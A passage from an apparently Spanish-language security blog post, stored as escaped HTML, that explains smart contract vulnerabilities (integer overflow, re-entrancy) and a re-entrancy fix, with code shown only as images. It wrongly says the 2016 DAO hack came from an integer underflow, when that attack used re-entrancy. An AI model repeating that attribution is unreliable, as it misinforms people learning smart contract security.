            actualmente no existen estándares ampliamente aceptados para el desarrollo de contratos inteligentes, lo que significa que cada desarrollador o equipo puede usar su propio enfoque de codificación. Esta falta de estandarización puede dificultar que los desarrolladores aprendan de los errores de los demás y mejoren su código.
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Error humano:
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Incluso los desarrolladores experimentados pueden cometer errores al escribir código, especialmente cuando están trabajando en un proyecto complejo. Un solo error en un smart contract puede generar vulnerabilidades que los atacantes pueden aprovechar.
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Falta de Auditorías especializadas:
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            las pruebas manuales exhaustivas son esenciales para identificar y abordar las vulnerabilidades en los contratos inteligentes. Sin embargo, es posible que muchas empresas auditoras no lleven a cabo las pruebas adecuadas, dejando su código abierto a posibles ataques.
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ol&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Para abordar estos problemas, los desarrolladores deben priorizar la seguridad en el desarrollo de sus contratos inteligentes, buscar asesoramiento y orientación de expertos y seguir las mejores prácticas para la codificación y las pruebas seguras. Además, la comunidad de desarrollo en su conjunto puede trabajar hacia la estandarización y la mejora de las prácticas de seguridad para reducir el riesgo de ataques y vulnerabilidades.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
            
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Entendiendo el ecosistema del smart contract (blockchain)
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           El ecosistema de contratos inteligentes se refiere al entorno colectivo, las tecnologías y los componentes relacionados con la creación, implementación y utilización de smart contracts en sistemas basados en blockchain.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Deep+Security+-+Smart+contracts+1.png" alt="Un diagrama que muestra los pasos de un proyecto en español."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 1: Diagrama de Flujo Regular
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Deep+Security+-+Smart+contracts+2.png" alt="Un diagrama que muestra cómo funciona un software de billetera"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 2: Diagrama de Flujo de Análisis
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Para desplegar “Smart Contracts” en el ecosistema de la blockchain, se conectó nuestra billetera(metamask) con un nodo de “Infura” usando la biblioteca web3.py de python.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/codigo-62423c18.png" alt="Un fondo negro con un montón de código."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 3: Despliegue del Smart Contract en la Blockchain
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Después de desplegar los Smart Contracts y ya teniendo los contratos en la blockchain es posible revisar las interacciones que tiene este contrato con otros, como realizar el seguimiento de una transacción y su historial, saber la información de un token, verificar códigos fuentes y códigos de bytes, monitorear las transacciones en la red de Ethereum, observar gráficos de precio y datos del mercado, y rastrear el rendimiento de varios token ERC-20 que son un estándar técnico utilizado para implementar tokens fungibles en la blockchain de Ethereum. Los tokens fungibles son intercambiables e idénticos entre sí, lo que significa que cada token tiene el mismo valor y se puede intercambiar uno a uno.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
            
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Para realizar el seguimiento de nuestras transacciones en la blockchain puedes visitar la siguiente dirección:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;a href="https://sepolia.etherscan.io/address/0x358356edc9d842eFE062595f0edf18a96422C6dc" target="_blank"&gt;&#xD;
      
                      
                      
           https://sepolia.etherscan.io/address/0x358356edc9d842eFE062595f0edf18a96422C6dc
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Video 1: Desplegando nuestro contrato en la blockchain
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/contrato+desplegado+en+la+blockchain+-+Deep+Security-e47ac7cd.PNG" alt="Una captura de pantalla de una página web que muestra una lista de correos electrónicos."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 4: Historial de nuestro contrato desplegado en la blockchain
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;h2&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Las vulnerabilidades más comunes en los smart contracts
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/h2&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Los smart contracts han ganado una inmensa popularidad debido a su capacidad para automatizar y hacer cumplir los acuerdos sin intermediarios. Sin embargo, no son inmunes a las vulnerabilidades que pueden conducir a graves riesgos financieros y de seguridad. En este artículo, exploraremos las vulnerabilidades más comunes que se encuentran en smart contracts, destacaremos la importancia de comprender la lógica de las vulnerabilidades y desarrollaremos ejemplos de smart contracts vulnerables
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           1.	Integer over- and underflows
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            ﻿
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      
                      
                      
           Si hay un límite para el tamaño de los números almacenados en las computadoras, ¿qué sucede cuando cruzamos este límite?
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
            
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           En Ethereum, cada ranura entera sin firmar tiene un espacio de almacenamiento de 32 bytes o 256 bits. Digamos que desea realizar una suma aritmética entre 2 enteros legítimos, pero sin signo:
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;ul&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            A
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             = 0x00…001
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            (1)
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            B
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             = 0xFF…FFF (2
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;sup&gt;&#xD;
        
                        
                        
            256
           
                      
                      &#xD;
      &lt;/sup&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            - 1, valor máximo sin signo)
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            C
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             = A + B = 0x00…001+ 0xFF…FFF = 1 + (2
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;sup&gt;&#xD;
        
                        
                        
            256
           
                      
                      &#xD;
      &lt;/sup&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             - 1) =
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            2
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;sup&gt;&#xD;
        
                        
                        
            256
           
                      
                      &#xD;
      &lt;/sup&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             = 0x
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            1
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             00…000
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ul&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Deep-Security---Smart-contracts-3.png" alt="Una captura de pantalla de un programa que dice almacenamiento 32 bytes 256 bits"/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 5 : Lógica de la vulnerabilidad Integer over- and underflows
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           El resultado de esta suma aritmética es un número mayor que el máximo entero posible.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           La variable usada representa el número positivo 1 seguido de 256 ceros (b100…000), que en total tiene una longitud de 257 bits. Pero la ranura del valor entero en el almacenamiento solo puede tener 256 bits. Por lo tanto, solo los 256 (bits más a la derecha) se almacenan y todo lo demás se ignora.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Como resultado, el valor que realmente se almacena es 0x00…000 (0), esto es un desbordamiento de enteros.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/codigo2.png" alt="Una captura de pantalla de un programa con fondo oscuro."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 6: Contrato vulnerable a Interoverflow
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           El incidente de ciberseguridad que afectó a DAO, también conocido como ataque DAO o exploit DAO, ocurrió en el 2016 y fue uno de los eventos más significativos en la historia de las criptomonedas y la tecnología blockchain. La DAO era una organización autónoma descentralizada construida sobre la blockchain de Ethereum, diseñada para operar como un fondo de capital de riesgo regido por smart contracts.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           La vulnerabilidad en el código del smart contract de DAO permitió a un atacante manipular el sistema de contabilidad interno. Al explotar un error de integer underflow, el atacante pudo solicitar fondos repetidamente del DAO sin actualizar el saldo de su cuenta. Esto les permitió drenar una cantidad significativa de Ether de la DAO, lo que generó pérdidas financieras sustanciales en este caso de $60 millones.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            ﻿
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            2.  Re-Entrancy
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           (re-ingreso)
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            ﻿
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      
                      
                      
           Los contratos maliciosos llaman repetidamente a una función en otro contrato antes de que finalice la primera llamada de función, lo que podría causar un comportamiento inesperado y robar fondos.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/Deep-Security---Smart-contracts-4.png" alt="Un diagrama de un hacker atacando a otra computadora."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 7: Lógica de la vulnerabilidad Re-Entrancy
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;ol&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             El
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “contrato B”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             pediría un retiro del
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “contrato A”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             llamando la función ataque.
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “Contrato A”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             llama a la función de retiro y envía 1 ether a
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “contacto B”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             después de confirmar B tiene más de 0 ether en el contrato
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             La transferencia del
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “Contrato A”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             al
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “Contrato B”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             ha activado una función de respaldo.
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            La función de retroceso le pediría otra retirada.
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             La transferencia del
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “Contrato A”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             al
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            “Contrato B”
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
      &lt;span&gt;&#xD;
        &lt;span&gt;&#xD;
          
                          
                          
             ha activado una función de respaldo nuevamente
            
                        
                        &#xD;
        &lt;/span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
    &lt;li&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            La función de retroceso le pedirá otra vez que se retire: el proceso se repite.
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/li&gt;&#xD;
  &lt;/ol&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
            
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            Observe que el código de la función
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           call()
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
        
                        
                        
            puede ejecutar una función en otro contrato. Luego de esto, se podría llamar a esta función, lo que resultaría en la ejecución de un retiro parcial (withdraw) varias veces antes de que se reduzca el saldo.
           
                      
                      &#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/codigo3.png" alt="Una captura de pantalla de un programa que dice reentrada de contrato."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 8: Contrato vulnerable a Re-entrancy (re-ingreso)
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Para evitar ataques de Re-entrancy (re-ingreso), generalmente se recomienda seguir el patrón de "comprobaciones-efectos-interacciones" en
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;span&gt;&#xD;
      &lt;/span&gt;&#xD;
    &lt;/span&gt;&#xD;
    &lt;a href="https://soliditylang.org/" target="_blank"&gt;&#xD;
      
                      
                      
           Solidity
          
                    
                    &#xD;
    &lt;/a&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           . En el siguiente código modificado, agregamos una nueva asignación “locked” para realizar un seguimiento de si un usuario tiene una transacción pendiente o no. La función withdraw() ahora verifica si el usuario tiene saldo suficiente y si no tiene transacciones pendientes antes de proceder con el retiro. Si las comprobaciones tienen éxito, bloquea la cuenta del usuario, deduce el monto solicitado de su saldo, envía el monto solicitado y luego desbloquea la cuenta. Si alguna de estas operaciones falla, la función se revertirá y devolverá un mensaje de error. lo que significa realizar todas las comprobaciones y modificar el estado del contrato (es decir, los efectos) antes de interactuar con contratos externos o direcciones de usuario.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Aquí podemos visualizar un ejemplo de cómo modificar la función ‘withdraw’ para evitar ataques de re-ingreso (Re-Entrancy):
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div&gt;&#xD;
  &lt;img src="https://irp.cdn-website.com/210ad002/dms3rep/multi/codigo5.png" alt="Una captura de pantalla de un programa escrito en javascript."/&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Imagen 9: Contrato modificado, no es vulnerable (Re-Entrancy)
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
    &lt;span&gt;&#xD;
      &lt;br/&gt;&#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;div data-rss-type="text"&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
           Uno de los principales incidentes de seguridad en DeFI fue el protagonizado por “Sturdy Finance”, un proyecto de finanzas descentralizadas (DeFi), se vio obligado a detener sus operaciones de mercado debido a un exploit de $800,000 que estaba vinculado a una fuente de datos de precios defectuosa transmitida a la blockchain. El incidente ocurrió el 12 de junio de 2023 y subrayó los riesgos asociados a confiar en fuentes de datos externas para determinar los precios de los tokens en los protocolos DeFi.
          
                    
                    &#xD;
    &lt;/span&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;br/&gt;&#xD;
  &lt;/p&gt;&#xD;
  &lt;p&gt;&#xD;
    &lt;span&gt;&#xD;
      
                      
                      
